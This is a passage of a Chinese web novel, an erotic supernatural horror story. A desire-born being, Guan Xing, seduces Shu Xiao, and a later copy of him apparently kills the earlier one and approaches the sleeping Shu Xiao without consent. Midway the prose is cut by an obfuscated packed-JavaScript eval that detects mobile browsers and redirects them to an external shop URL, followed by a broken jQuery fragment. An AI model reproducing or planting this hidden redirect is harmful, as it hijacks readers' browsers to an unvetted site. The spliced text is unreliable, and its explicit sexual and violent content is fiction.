关行任由舒晓拽着自己下坠,一起倒向沙发,他最后稳住上身,不至于压到舒晓。舒晓倒着咯咯笑,恶作剧成功了在得逞。他的手还时不时抚摸过关行脖颈的血管青筋,关行乖乖给他摸。红色青色幻化为脖子的绳套,是他最好的训诫用品。
“我在想,你满意我的回答吗。”
“满意我现在的样子吗。”
祂是欲望的产物,在欲望下周而复始地分裂。祂可以改变性格和能力,新分裂的祂可以更讨舒晓喜欢。但皮囊不会改变,祂只能在性格和能力上下功夫。
关行述与问句,可他的表情并不迷惘。舒晓觉得自己似乎可以要求关行,哪怕驱使关行做任何事。
最好的朋友都做不到这样。
“关行,你对我好成这样,只是想做我的好朋友?”
关行不置可否。
他以舒晓的标准执行,定义成朋友,完全可以。
舒晓歪头。
“可我们这样做,不是朋友。”
舒晓想推开关行的肩膀,却意外地没有推动。清瘦的关行远比舒晓想象得强壮,但舒晓一点害怕也没有。
“你喜欢我。”
舒晓笃定道。
关行默认人类的说法。因为舒晓是一个人类。
舒晓有很多朋友,但也仅限于朋友。爱会让友情变得不纯粹、不稳定,舒晓只想享受快乐,不想承担任何麻烦。目前为止,他依然可以在有趣的生活里收获满足,那么恋爱就显得麻烦。
但爱的确比友情增添很多刺激新奇。
这一次,关行让舒晓产生了“试一试”的兴趣。
从朋友变成恋人的关行,会变成什么样呢?
心动不如行动。舒晓勾着关行的脖子,两个人离得更近,上身几乎都倒进沙发。刚才推不开的人,手这么轻轻一勾就来了。
舒晓仰头,亲吻上关行的唇角。
笑吟吟问他。
“那你现在,进入你的城堡了吗?”
……
舒晓发誓他不是故意,挑电影的时候也是抱着剖析人性的想法来看黄色的。但现在,电影里的镜头成为了助燃剂。
两个人在沙发滚作一团,地板的马赛克花砖很凉,舒晓的膝盖有点痛,于是缠着木楼梯向上,陷进鹅绒被的大床。
高雅的艺术,纯洁的爱慕,最后还是要掺点黄的才刚好调和。
雨一直下,潮的,腻的,舒晓却干涸得要冒烟。他蹬了两下腿,关行把他从湿漉漉的床单里捞起来,喂他喝了一大杯水,舒晓才有空平复快要跳出来的心脏。
滋润后的舒晓整个人红扑扑的,反观关行好像没事人一样。如果不是舒晓满身都感受过他揉捏的力度,可能会以为关行是个性冷淡。舒晓不服气,气血上头,一个翻身跨坐在关行小腹上。
“再来一次。”
……
平坦柔韧的肚子填满,又洗刷空瘪,最后被姗姗来迟的夜宵填满。
舒晓借了关行的一件长袖,挂着空档,懒洋洋地接受关行的投喂。吃两口,摸两下自家刚荣誉晋升的男朋友。
刚才很能发力的胳膊上有两道新鲜的抓痕,是舒晓受不了的时候挠的,在关行手上留下淡淡的粉印。
舒晓曲起膝盖,和自己大腿星星点点的印子对比了一番,用手指戳着关行的手臂,苦口婆心地教育道:“你看看我,再看看你,我对你多克制。”
关行闻言,跪在地上,掀开舒晓上衣下摆检查。
舒晓又痒又燥,捏关行的耳朵:“起来!”
关行像在拱巢穴一样留连不舍,他抬起头时,整张苍白的脸上,直挺的鼻梁上多了一道鲜红的压痕。
他没有任何修饰的语言,和他的爱一样暴露。
“你喜欢我这么做。”
舒晓发现关行就是太直白了。
吃饱喝足,加上体力消耗殆尽,舒晓有点困了,外头的雨一时半会不停,舒晓直接发了条短信,和舍友说他们今晚没回去。
“我先去睡,你收拾一下哦。”
舒晓心安理得地对男朋友丢下这么句话,上楼。
木楼梯踩着有沉闷的咯吱声,舒晓揉着腰,觉得自己现在就和脚下的这个老物件差不多。
老房子没有特意换过装修,楼梯的壁灯和二楼的顶灯都很暗,舒晓走得很慢,终于摸索到二楼的主卧。
拧动金属门把。
咯吱。
舒晓推门的动作停顿了下。
风吹响窗户,在呼啦一阵声响里,他一瞬间觉得自己的判断产生了错误,他似乎听到楼下门厅比他这里先传来开门的声音,然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822205|211171||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
咯吱,咯吱,轻微的脚步沿着楼梯向上。
又不见了。
舒晓定了定。
错觉吧。
……
卧室里关行简单收拾过,但因为下雨,没有办法开窗通风,舒晓进来时卧室还有一些残存的味道。
舒晓等关行的时候,数了台灯的瓣数,数了玻璃窗的花纹,数困到闭上眼,关行都还没有上来。
那今天就算他先来暖被窝吧。
舒晓也没有硬等,卷着被子直接翻了个身,睡着了。
……
关行把都是血的垃圾扔进杂物间,再把客厅收拾好,拎着垃圾袋和沾血的小刀去外头了一趟。
回来时,他身上有些湿,小刀上的血渍也被雨冲刷干净。
他现在心情很好,但刚做完大扫除,去找舒晓之前,得先洗个澡。
浴室在二楼中段,在走廊上就能闻到馥郁的浴液香。上一个关行把这股甜橙海洋香当作饮鸩止渴的饮品,见缝插针地在这栋房子里也准备了一份。
瞧上一个他干的好事,真不错,现在惠及到他了。
舒晓刚才就在这里洗的澡吧。舒晓的手挤压过泵头,拿过喷头,冲洗过他自己的身体,只要幻想到,关行就兴奋得想要流泪。祂现在也拥有同款的味道了,马上就可以去到舒晓的身边。
打开房门,浓郁的让他昏头的腥气让关行有些颤栗。
他的宝贝果然安然无恙地睡着了,纯洁得什么也不知道。
关行爬上去,俯着一寸寸怜惜过舒晓睡得红扑扑的脸颊,身体。
“宝贝,你只奖赏第一个叩开城堡大门的人吗?”
关行气息很轻。
“那太不公平了。”
他们在看电影的时候,他也静静地站在黑暗里,作为电影的第三名观众,同样的台词换他来说,也能一字不错。可是城堡只有一座,只有第一才被另眼相待。
一个关行得到奖励,其他的只能暗暗垂涎。
妒忌在内心滋长,欲望在祂的身体彻底点燃,本来关行们就彼此忮忌,互相残杀很合理。
关行细密像雨点的亲吻吵醒了舒晓,舒晓迷迷糊糊地嗯了一声,还没等他问,关行就缠上来。
“我还没有得到。”
“舒晓,轮到我了。”